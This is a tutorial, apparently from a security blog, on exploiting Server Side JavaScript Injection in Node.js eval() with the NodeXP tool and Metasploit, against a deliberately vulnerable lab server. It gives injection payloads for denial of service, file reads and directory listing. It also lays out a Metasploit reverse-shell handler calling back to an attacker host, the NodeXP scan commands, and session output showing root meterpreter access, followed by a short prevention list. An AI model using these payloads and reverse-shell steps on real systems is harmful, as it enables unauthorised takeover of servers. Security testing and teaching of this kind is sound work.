Server Side JavaScript Injection with NodeXP (Usage Example, SSJI, Metasploit)
Introduction
Server Side JavaScript Injection with NodeXP wasn’t idealy explained in initial (introduction) post, so we’ll quickly & practicaly go through the steps of SSJI, relying on Metasploit to take over the system. For some general/install info, check – Server Side JavaScript Injection Tool – NodeXP.
Server Side JS Injection (SSJI)
Some JS functions can be exploited by an attacker to execute malicious JS code on the server:
- eval()
- setTimeout()
- setInterval()
- Function()
Without approriate input validation they are vulnerable. For instance, doing DoS (Denial of Service) with eval():
while(1)
It’s going to take 100% of CPU time.
process.exit() / process.kill(process.pid)
Will kill running process (NodeJS)
We can read/list current directory or specific path:
res.end(require('fs').readdirSync('.').toString())
or
res.end(require('fs').readdirSync(<PATH>).toString())
Read specific file:
res.end(require('fs').readFileSync(filename))
Basically attacker can execute/do almost anything on the system (within user permission limits). Next, we’ll show a few Server Side JavaScript Injection with NodeXP examples.
NodeXP vs Localhost
Localhost example is straightforward. Example for GET:
$ python nodexp.py --url=http://localhost:3001/?name=[INJECT_HERE]
you might want to add –LHOST and –LPORT to avoid adding them later.
A POST example is similar:
$ python nodexp.py --url=http://localhost:3001/post.js --pdata=username=[INJECT_HERE]
NodeXP vs Remote system (domain)
For this test, we already have a “vulnerable” NodeJS server sample in nodexp/testbeds/GET
. We’ll host it on TARGET server (6.6.6.6):
var express = require('express'); var app = express(); app.get('/', function(req, res) { var resp=eval(req.query.name); res.send('Response</br>'+resp); }); app.listen(3002);
Attacker will come from 3.3.3.3 server. Run eval.js
on target server (install express if needed, as mentioned in the inital post: $ npm install express --save
)
$ sudo node eval.js
Run Metasploit on attacker side:
$ msfconsole =[ metasploit v4.17.18-dev- ] + -- --=[ 1818 exploits - 1029 auxiliary - 315 post ] + -- --=[ 539 payloads - 42 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/multi/handler msf exploit(multi/handler) > set payload nodejs/shell_reverse_tcp payload => nodejs/shell_reverse_tcp msf exploit(multi/handler) > set lhost 3.3.3.3 lhost => 3.3.3.3 msf exploit(multi/handler) > set lport 3005 lport => 3005 msf exploit(multi/handler) > set ExitOnSession true ExitOnSession => true msf exploit(multi/handler) > set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' InitialAutoRunScript => post/multi/manage/shell_to_meterpreter msf exploit(multi/handler) > spool /home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt [*] Spooling to file /home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt... msf exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. msf exploit(multi/handler) > [*] Started reverse TCP handler on 3.3.3.3:3005
Then scan targeted server with NodeXP:
$ python2.7 nodexp.py --url=http://6.6.6.6:3001/?name=[INJECT_HERE] --lhost 3.3.3.3 --lport 3005
Test tries 15 different payloads:
- payload: name=res.end(“thats my payload -> 1 -> esvOXhkEAgmNQWZV”)
- payload: name=response.end(“thats my payload -> 1 -> esvOXhkEAgmNQWZV”)
- payload: name=res.end(“esvOXhkEAgmNQWZV”)
- payload: name=response.end(“esvOXhkEAgmNQWZV”)
- payload: name=eval(esvOXhkEAgmNQWZV)
- payload: name=eval(“esvOXhkEAgmNQWZV”)
- payload: name=res.end(“ReferenceError -> esvOXhkEAgmNQWZV”)
- payload: name=res.end(“esvOXhkEAgmNQWZV”)
- payload: name=res.end(‘esvOXhkEAgmNQWZV’)
- payload: name=eval(‘”esvOXhkEAgmNQWZV”‘)
- payload: name=eval(“esvOXhkEAgmNQWZV”)
- payload: name=response.end(“esvOXhkEAgmNQWZV”)
- payload: name=response.end(‘esvOXhkEAgmNQWZV’)
- payload: name=res.end(‘esvOXhkEAgmNQWZV’)
- payload: name=10&roth=0&afterTax=0
Check additional options/parameters (e.g. different injection technique [–tech]). We’ll try upgrading to meterpreter shell with the first vulnerability we find.
Stagers
setup a network connection between the attacker and victim and are designed to be small and reliable. Stages
are payload components that are downloaded by Stagers modules.|----------------------------------------------------------| | --Server Side Javascript Injection-- | | -Detection & Exploitation Tool on Node.js Servers- | |----------------------------------------------------------| |----------------------------------------------------------| | | | 888b 888 888 | | 8888b 888 888 | | 88888b 888 888 | | 888Y88b 888 .d88b. .d88888 .d88b. 888 888 88888b. | | 888 Y88b888 d88""88b d88" 888 d8P Y8b `Y8bd8P` 888 "88b | | 888 Y88888 888 888 888 888 88888888 X88K 888 888 | | 888 Y8888 Y88..88P Y88b 888 Y8b. .d8""8b. 888 d88P | | 888 Y888 "Y88P" "Y88888 "Y8888 888 888 88888P" | | 888 | | 888 | | 888 | |----------------------------------------------------------| ... ... [<] Show injection (Try no. 1) results : [!] SSJI Done based on payload and it's dynamic response (thats my payload)! [!] SSJI Done based on payload and it's dynamic response (1)! [!] SSJI Done based on payload and it's dynamic response (esvOXhkEKgmNQWMV)! [i] Payload : name=res.end("thats my payload -> 1 -> esvOXhkEKgmNQWMV") [i] Valid Response(s): ['thats my payload', '1', 'esvOXhkEKgmNQWMV'] [?] Application seems vulnerable. Try for meterpreter shell? [-] Enter 'y' for 'yes' or 'n' for 'no'. -
Type 'Y'
. That’s going to generate payload/.rc/metasploit
files:
[>] -----------------------------------------------------------| [!] Starting exploitation process! -----------------------------------------------------------| [<] Initialize exploitation variables. [!] Setting local host ip: 'LHOST' = '3.3.3.3' [!] Setting local port: 'LPORT' = '3005' [!] Exploitation variables successfully defined! [>] [<] Generate exploitation files and run metasploit. [i] Successfully generated payload file! [/home/centos/TEST_AREA/nodexp/scripts/nodejs_payload.js] [i] Successfully generated metasploit log file (spool file) [/home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt] [i] Successfully generated .rc script! [/home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc] [-] Opening metasploit console... sh: gnome-terminal: command not found sh: /root/Desktop/logs.txt: Permission denied [i] Successfully loaded metasploit! [?] Please, select options above: (1) Upload the payload at '3.3.3.3:3005' (current metasploit session); type: '1' (2) If you want to exit; type: '2' -
At this point, payload is ready for deployment. Compared to localhost (desktop) execution where NodeXP opens up a new terminal window with Metasploit (gnome-terminal), when working on a dedicated server that’s not going to be available (terminal environment only). In that case type ‘2’ (exit) or start another terminal and go to NodeXP directory. Look for script/nodejs_payload.js
. There, you’ll find the payload encoded in HEX form, ready for deployment:
Decoded:
Payload basically uses NodeJS functions to create a connection towards Metasploit server. Metasploit will then upgrade that connection/shell to meterpreter, providing you the access to the system. We’ve previously started NodeJS server (eval.js). Open browser and type that in:
That’s going to establish a connection & trigger Metasploit “Upgrade” procedure:
msf exploit(multi/handler) > [*] Started reverse TCP handler on 3.3.3.3:3005 [*] Command shell session 1 opened (3.3.3.3:3005 -> 6.6.6.6:34264) at 2018-10-18 16:08:34 +0200 [*] Session ID 1 (3.3.3.3:3005 -> 6.6.6.6:34264) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' [!] SESSION may not be compatible with this module. [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 3.3.3.3:4433 [*] Sending stage (861480 bytes) to 6.6.6.6 [*] Meterpreter session 2 opened (3.3.3.3:4433 -> 6.6.6.6:40208) at 2018-10-18 16:08:41 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Stopping exploit/multi/handler msf exploit(multi/handler) >sessions
Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell nodejs/nodejs 6.6.6.6:3005 -> 3.3.3.3:34264 2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.3 6.6.6.6:4433 -> 3.3.3.3:40208 msf exploit(multi/handler) >sessions 2
[*] Starting interaction with 2... meterpreter >pwd
/home/unknown/TEST_AREA/nodexp/testbeds/GET
We’re on the remote system. In short, Server Side JavaScript Injection with NodeXP diagram:
SSJI Prevention
To prevent Server Side Javascript Injection:
-
- Before processing, validate user inputs on the server side
- Do not use eval() to parse user inputs and avoid similar commands: setTimeout(), setInterval() and function()
- For JSON parsing, instead of eval, use JSON.parse()
- Do type conversion with parseXXX() methods
- Include “use strict” at the begining, which enables
strict mode
within the enclosing function scope
Conclusion
Server Side JavaScript Injection with NodeXP is just one way/one of the tools we can use (simple example). NodeXP is relatively simple yet usefull tool, trying different payloads until it gets a right response from the server, exposing a vulnerability. Point is, without security awarness during development process, you can jeopardize entire system. Mind you steps while developing.